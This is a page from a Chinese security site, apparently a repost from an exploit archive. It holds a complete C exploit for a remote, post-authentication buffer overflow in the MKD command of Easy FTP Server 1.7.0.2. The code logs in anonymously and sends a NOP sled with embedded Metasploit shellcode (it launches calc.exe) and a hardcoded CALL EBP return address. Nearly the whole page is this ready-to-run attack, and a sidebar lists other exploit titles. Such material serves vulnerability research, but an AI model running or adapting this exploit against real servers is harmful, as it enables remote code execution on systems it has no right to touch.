首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Easy Ftp Server v1.7.0.2 MKD Remote Post-Authentication BoF Exploit
来源:x90c.org 作者:x90c 发布时间:2010-04-06  

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>

//*************************************************************************
//     Easy~Ftp Server v1.7.0.2 MKD Remote Post-Authentication BoF Exploit
//     ( 11470_x90c.c )
//
//     Date: 24/03/2010
//     Author: x90c < x90c.org >
//
//     Discovered by: loneferret
//
//     Exploits by:
//            [1] 11470.py (PoC) - loneferret ( Found: 13/02/2010 )
//                - http://www.exploit-db.com/exploits/11470
//            [2] 11470_x90c.c ( Exploit )
//                ( MAGIC RET, Metasploit shellcode )
//*************************************************************************


// Metasploit shellcode ( calc.exe ) - 228 Bytes
static char shellcode[] =
{
"\xd9\xcc\x31\xc9\xb1\x33\xd9\x74\x24\xf4\x5b\xba\x99\xe4\x93"
"\x62\x31\x53\x18\x03\x53\x18\x83\xc3\x9d\x06\x66\x9e\x75\x4f"
"\x89\x5f\x85\x30\x03\xba\xb4\x62\x77\xce\xe4\xb2\xf3\x82\x04"
"\x38\x51\x37\x9f\x4c\x7e\x38\x28\xfa\x58\x77\xa9\xca\x64\xdb"
"\x69\x4c\x19\x26\xbd\xae\x20\xe9\xb0\xaf\x65\x14\x3a\xfd\x3e"
"\x52\xe8\x12\x4a\x26\x30\x12\x9c\x2c\x08\x6c\x99\xf3\xfc\xc6"
"\xa0\x23\xac\x5d\xea\xdb\xc7\x3a\xcb\xda\x04\x59\x37\x94\x21"
"\xaa\xc3\x27\xe3\xe2\x2c\x16\xcb\xa9\x12\x96\xc6\xb0\x53\x11"
"\x38\xc7\xaf\x61\xc5\xd0\x6b\x1b\x11\x54\x6e\xbb\xd2\xce\x4a"
"\x3d\x37\x88\x19\x31\xfc\xde\x46\x56\x03\x32\xfd\x62\x88\xb5"
"\xd2\xe2\xca\x91\xf6\xaf\x89\xb8\xaf\x15\x7c\xc4\xb0\xf2\x21"
"\x60\xba\x11\x36\x12\xe1\x7f\xc9\x96\x9f\x39\xc9\xa8\x9f\x69"
"\xa1\x99\x14\xe6\xb6\x25\xff\x42\x48\x6c\xa2\xe3\xc0\x29\x36"
"\xb6\x8d\xc9\xec\xf5\xab\x49\x05\x86\x48\x51\x6c\x83\x15\xd5"
"\x9c\xf9\x06\xb0\xa2\xae\x27\x91\xc0\x31\xbb\x79\x29\xd7\x3b"
"\x1b\x35\x1d"
};

int main(int argc, char *argv[])
{
int sockfd;
struct sockaddr_in sa;
char rbuf[128];
char x0x[278];
int i = 0, j = 0;
int port = 0;
int err = 0;

printf("\n\n***********************************************\n");
printf("*      Easy FTP Server 1.7.0.2 MKD Remote BoF     *\n");
printf("*            Found by: loneferret                 *\n");
printf("*      - http://www.exploit-db.com/exploits/11470 *\n");
printf("*      - 11470_x90c.c - x90c                      *\n");
printf("***************************************************\n\n");

if( argc < 3 )
{
        printf("Usage: %s <Target IP> <Port>\n\n", argv[0]);
        exit(1);
}

port = atoi(argv[2]);

if(port <= 0 || port > 65535)
{
    port = 21;
}

printf("[PORT] %d/tcp\n", port);

memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(argv[1]);
sa.sin_port = htons(port);

if((sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
        err = -1;
        fprintf(stderr, "[!] Socket failed\n");
        goto out;
}

// Socket Connect
if(connect(sockfd, (struct sockaddr *)&sa, sizeof(struct sockaddr)) == -1)
{
        err = -2;
        fprintf(stderr, "[!] Connection failed!\n");
        goto out;
}

printf("[+] Connected!\n");

// Auth
recv(sockfd, rbuf, sizeof(rbuf), 0);

send(sockfd, "USER anonymous\r\n", 16, 0);
recv(sockfd, rbuf, sizeof(rbuf), 0);
if(strstr(rbuf, "okay") != NULL)
        printf("[USER] anonymous\n");

send(sockfd, "PASS anonymous\r\n", 16, 0);
recv(sockfd, rbuf, sizeof(rbuf), 0);
if(strstr(rbuf, "logged in.") != NULL)
        printf("[PASS] anonymous\n");

// Fill Payload
memset(&x0x, 0x90, sizeof(x0x));

for(i = 20, j = 0; j < strlen(shellcode); j++)
    x0x[i++] = shellcode[j];

x0x[0] = 'M';
x0x[1] = 'K';
x0x[2] = 'D';
x0x[3] = ' ';

// MAGIC RET:
// # CALL EBP ( EBP Register points to nopsled of this payload when overflowed )
// # 004041EC   FFD5             |CALL EBP
// #
//
x0x[272] = '\xEC';
x0x[273] = '\x41';
x0x[274] = '\x40';
x0x[275] = '\x00';

x0x[276] = '\r';
x0x[277] = '\n';
x0x[278] = '\x00';

printf("[+] Sending payload...\n");

// Send payload
send(sockfd, x0x, 278, 0);
recv(sockfd, rbuf, sizeof(rbuf), 0);
if((strstr(rbuf, "denied.") != NULL) || (strstr(rbuf, "too long") != NULL))
{
        printf("[!] anonymous account doesn't have permission to MKD command...\n");
        printf("[!] Exploit Failed. ;-x\n");
        goto out;
}

printf("[+] Exploited :-)\n");

out:
        close(sockfd);
        return err;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Java Mini Web Server <= 1.0 Pa
·PHP 6.0 Dev str_transliterate(
·ZipScan 2.2c SEH
·ZipCentral (.zip) 0day SEH Exp
·Microsoft Internet Explorer Ta
·eZip Wizard 3.0 (.zip) SEH
·IncrediMail 2.0 ActiveX (Authe
·MP3 Wav Editor v3.80 .mp3 Loca
·DSEmu 0.4.10 (.nds) Local Cras
·Portable AVS DVD Authoring v1.
·Dualis 20.4 (.bin) Local Danie
·Juke 4.0.2 DoS Multiple Files
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved